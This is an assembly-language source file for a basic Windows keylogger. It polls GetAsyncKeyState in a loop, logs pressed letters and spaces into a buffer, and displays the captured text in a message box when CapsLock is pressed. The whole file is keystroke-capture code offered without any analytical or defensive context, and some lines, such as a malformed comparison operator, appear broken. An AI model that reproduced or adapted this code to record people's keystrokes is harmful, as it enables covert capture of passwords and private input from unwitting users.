.Const
.Data?
sh DD ?
cp DD ?
Number DD ?
index DD ?
tindex DD ?
TempC DB ?
.Data
WprType DB "%lc", 0
Keys DB 512 Dup(0)
.Code
start:
Mov Keys, 0
rr:
Invoke Sleep, 60
Mov index, 0
Mov index, 8
ForLoop:
;test
Invoke GetAsyncKeyState, 14H
.If Eax
Invoke MessageBox, 0, Addr Keys, 0, 0
Invoke ExitProcess, NULL
.EndIf
;test
Invoke GetAsyncKeyState, index
.If Eax == -32767 ;
Invoke GetAsyncKeyState, 20H
.If Eax
Invoke wsprintf, Addr TempC, Addr WprType, 20H ; Space ajunge …
Invoke lstrcat, Addr Keys, Addr TempC
.ElseIf (index >= 60) && (index < = 90)
Mov sh, 0
Mov cp, 0
Invoke GetAsyncKeyState, 14H ;
Mov sh, Eax
Invoke GetAsyncKeyState, 10H ;
Mov cp, Eax
.If cp != 0 || sh != 0 ;
Xor Eax, Eax
Mov tindex, Eax
Mov Eax, index
Mov tindex, Eax
Invoke wsprintf, Addr TempC, Addr WprType, tindex
Invoke lstrcat, Addr Keys, Addr TempC
.Else
Xor Eax, Eax
Mov tindex, Eax
Mov Eax, index
Mov tindex, Eax
Add tindex, 32
Invoke wsprintf, Addr TempC, Addr WprType, tindex
Invoke lstrcat, Addr Keys, Addr TempC
.EndIf
.If index == 190
Jmp rr
.Else
Inc index
Jmp ForLoop
.EndIf
.EndIf
.EndIf
.If index == 190
Jmp rr
.Else
Inc index
Jmp ForLoop
.EndIf
Invoke ExitProcess, NULL
End start